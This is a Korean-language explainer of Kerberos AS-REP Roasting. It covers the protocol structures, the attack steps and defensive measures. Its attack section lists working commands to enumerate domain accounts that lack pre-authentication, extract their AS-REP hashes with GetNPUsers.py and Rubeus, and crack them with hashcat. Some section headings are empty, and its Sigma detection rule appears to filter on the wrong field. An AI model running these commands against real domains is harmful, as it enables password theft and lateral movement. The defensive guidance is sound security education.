Kerberos AS-REP Roasting 공격 기법에 대해 상세히 설명하시오. MITRE ATT&CK 프레임워크의 T1558.004 기술 카테고리에 해당하는 이 공격의 과정을 매우 상세하게 설명하시오.
Kerberos AS-REP(Authentication Service Reply) Roasting은 Kerberos 인증 프로토콜의 사전 인증(Pre-Authentication) 메커니즘이 비활성화된 계정을 대상으로 하는 공격 기법이다. 공격자는 이러한 계정에 대한 인증 서비스 응답(AS-REP, Authentication Service Reply)을 획득하고, 이를 오프라인에서 크래킹하여 계정 암호를 알아내는 방식이다. 여기서 AS는 Authentication Service(인증 서비스), REP는 Reply(응답)의 약자로, Kerberos 인증 체계에서 인증 서버가 클라이언트에게 보내는 응답 메시지를 의미한다. Kerberos 프로토콜 공식 문서 RFC 4120에서도 이 용어를 사용하고 있다.
정상적인 Kerberos 인증 흐름:
사전 인증 비활성화 시:
정찰 단계:
계정 식별 및 열거:
Get-DomainUser -PreauthNotRequired -Properties distinguishedname
AS-REP 요청 수행:
KRB-AS-REQ ::= [APPLICATION 10] SEQUENCE {
pvno[1] INTEGER, -- 프로토콜 버전 번호
msg-type[2] INTEGER, -- 메시지 유형(AS-REQ는 10)
padata[3] SEQUENCE OF PA-DATA OPTIONAL, -- 사전 인증 데이터
req-body[4] KDC-REQ-BODY -- 요청 본문(사용자명, 서비스명 등)
}
암호화 데이터 획득:
KRB-AS-REP ::= [APPLICATION 11] SEQUENCE {
pvno[0] INTEGER, -- 프로토콜 버전 번호
msg-type[1] INTEGER, -- 메시지 유형(AS-REP는 11)
padata[2] SEQUENCE OF PA-DATA OPTIONAL, -- 추가 인증 데이터
crealm[3] Realm, -- 클라이언트 렘(영역)
cname[4] PrincipalName, -- 클라이언트 이름
ticket[5] Ticket, -- 티켓(TGT) 정보
enc-part[6] EncryptedData # 이 부분이 사용자 암호로 암호화됨
}
암호화 데이터 변환:
$krb5asrep$23$사용자명@도메인:암호화된데이터오프라인 크래킹:
hashcat -m 18200 -a 0 hashes.txt wordlist.txt -r rules/best64.rule
권한 상승 및 횡적 이동:
# 도메인 내 모든 사전 인증 비활성화 계정 검색 및 해시 추출
GetNPUsers.py domain/ -usersfile users.txt -dc-ip 10.0.0.1
# 특정 계정에 대한 AS-REP 해시 요청 및 Hashcat 포맷으로 저장
GetNPUsers.py domain/user:password -request -format hashcat -outputfile hashes.txt
# 도메인 내 사전 인증 비활성화 계정 검색 및 해시 추출
Rubeus.exe asreproast /format:hashcat /outfile:hashes.txt
# Hashcat을 이용한 크래킹
hashcat -m 18200 hashes.txt wordlist.txt -r rules/best64.rule
| 특징 | 설명 |
|---|---|
| 공격 난이도 | 낮음 (특별한 권한 불필요) |
| 탐지 가능성 | 중간 (이벤트 ID 4768 로그 분석 필요) |
| 선행 조건 | 사전 인증이 비활성화된 계정 존재 |
| 공격 범위 | 도메인 내 모든 사전 인증 비활성화 계정 |
사전 인증 활성화: 모든 계정에 Kerberos 사전 인증 강제 활성화
# 단일 사용자에 대한 사전 인증 활성화
Set-ADAccountControl -Identity user -DoesNotRequirePreAuth $false
# 모든 사전 인증 비활성화된 계정에 대해 일괄 적용
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} |
ForEach-Object {
Set-ADAccountControl -Identity $_ -DoesNotRequirePreAuth $false
Write-Host "사전 인증 활성화: $($_.Name)"
}
계정 감사: 사전 인증이 비활성화된 계정 정기적 검사
# 전체 도메인에서 사전 인증이 비활성화된 계정 검색
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} -Properties DoesNotRequirePreAuth |
Select-Object SamAccountName, DoesNotRequirePreAuth
# 상세 속성과 함께 출력
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} -Properties * |
Select-Object SamAccountName, Enabled, LastLogonDate, whenCreated, DoesNotRequirePreAuth
이벤트 모니터링: 이벤트 ID 4768(TGT 요청) 중 사전 인증 실패 없는 요청 모니터링
# Windows 이벤트 로그 모니터링 예시
Get-WinEvent -FilterHashtable @{
LogName='Security';
ID=4768;
Data='0x0' # 0x0: 사전 인증 옵션 없음
} | Select-Object TimeCreated, Message
고급 탐지 규칙 구현: SIEM 도구를 통한 AS-REP Roasting 패턴 탐지
# Sigma 규칙 예시 (YAML)
title: Potential AS-REP Roasting Attack
description: Detects TGT requests without pre-authentication
status: experimental
author: Security Team
logsource:
product: windows
service: security
detection:
selection:
EventID: 4768
Status: '0x0'
condition: selection
falsepositives:
- Legitimate service accounts configured without pre-authentication
level: medium
강력한 암호 정책 수립 및 시행
계정 권한 최소화 원칙 적용
정기적 보안 감사 및 취약점 점검
MITRE ATT&CK 기반 방어 체계 구축
Kerberos는 네트워크 인증 프로토콜로서 클라이언트와 서버 간 상호 인증을 제공한다. 기본 인증 흐름은 다음과 같다:
AS(Authentication Service, 인증 서비스) 교환:
TGS(Ticket Granting Service, 티켓 발급 서비스) 교환:
AP(Application Server, 응용 서버) 교환:
AS-REP Roasting은 AS(Authentication Service) 교환 단계의 취약점을 악용하는 것으로, 사전 인증이 비활성화되면 AS-REQ(인증 서비스 요청)에 대한 응답으로 받는 AS-REP(인증 서비스 응답) 메시지 내 암호화된 부분을 공격 대상으로 삼는다.
AS-REP 메시지에는 사용자 비밀번호 기반 키로 암호화된 세션 키가 포함되어 있다. 따라서 이 암호화된 부분을 획득하면 사용자 비밀번호를 크래킹할 수 있는 기회를 얻게 된다. 세부 구조는 다음과 같다:
EncASRepPart ::= [APPLICATION 25] SEQUENCE {
key [0] EncryptionKey, # 세션 키
last-req [1] LastReq, # 마지막 요청 정보
nonce [2] UInt32, # 요청의 nonce 값
key-expiration [3] KerberosTime OPTIONAL, # 키 만료 시간
flags [4] TicketFlags, # 티켓 플래그
authtime [5] KerberosTime, # 인증 시간
starttime [6] KerberosTime OPTIONAL, # 티켓 유효 시작 시간
endtime [7] KerberosTime, # 티켓 만료 시간
renew-till [8] KerberosTime OPTIONAL, # 갱신 가능 시간
srealm [9] Realm, # 서버 렘(realm)
sname [10] PrincipalName, # 서버 이름
caddr [11] HostAddresses OPTIONAL # 클라이언트 주소
}
이 구조체가 사용자의 장기 키(비밀번호에서 파생)로 암호화되어 AS-REP의 enc-part 필드에 포함된다. 공격자는 이 암호화된 데이터를 추출하여 오프라인 크래킹을 시도한다.
AS-REP Roasting(T1558.004)은 더 넓은 범주의 'Steal or Forge Kerberos Tickets'(T1558) 기법의 하위 기법으로, 자격 증명 접근(Credential Access) 전술에 속한다. 이 기법은 다음과 같은 다른 Kerberos 관련 공격 기법과 연관된다:
| 기법 ID | 이름 | 연관성 |
|---|---|---|
| T1558.001 | Golden Ticket | 도메인 컨트롤러 침해 후 KRBTGT 계정 해시로 위조된 TGT 생성 |
| T1558.002 | Silver Ticket | 서비스 계정 해시로 위조된 서비스 티켓 생성 |
| T1558.003 | Kerberoasting | 서비스 계정을 대상으로 한 유사한 공격 기법 |
| T1550.003 | Pass the Ticket | 훔친 Kerberos 티켓을 이용한 인증 |
레거시 시스템 호환성:
잘못된 구성:
서비스 계정 특성:
Kerberos AS-REP Roasting은 컴퓨터에 들어갈 때 사용하는 특별한 열쇠(비밀번호)를 찾아내는 방법이에요. 보통은 컴퓨터가 누가 들어오려는지 확인하는 과정이 있는데, 이 확인 과정이 없는 특별한 계정들이 있어요. 그런 계정들은 컴퓨터에 들어갈 때 사용하는 암호화된 메시지를 받을 수 있고, 그 메시지를 가지고 비밀번호를 알아낼 수 있답니다. 이건 마치 문을 열기 전에 확인 없이 바로 열쇠를 주는 것과 같아서, 그 열쇠를 복사해서 나중에 문을 열 수 있게 되는 거예요!
| 줄임말 | 풀네임 | 의미 |
|---|---|---|
| AS-REQ | Authentication Service Request | 인증 요청 |
| AS-REP | Authentication Service Reply | 인증 요청에 대한 응답 (TGT 전달) |
| TGS-REQ | Ticket Granting Service Request | 서비스 티켓 요청 |
| TGS-REP | Ticket Granting Service Reply | 서비스 티켓 발급 응답 |
| AP-REQ | Application Request | 서비스 접근 요청 |
| AP-REP | Application Reply | 서비스 접근 응답 |
참고: Kerberos 프로토콜 공식 문서 RFC 4120에 따르면, REP는 'Response'가 아닌 'Reply'의 약자로 사용됩니다.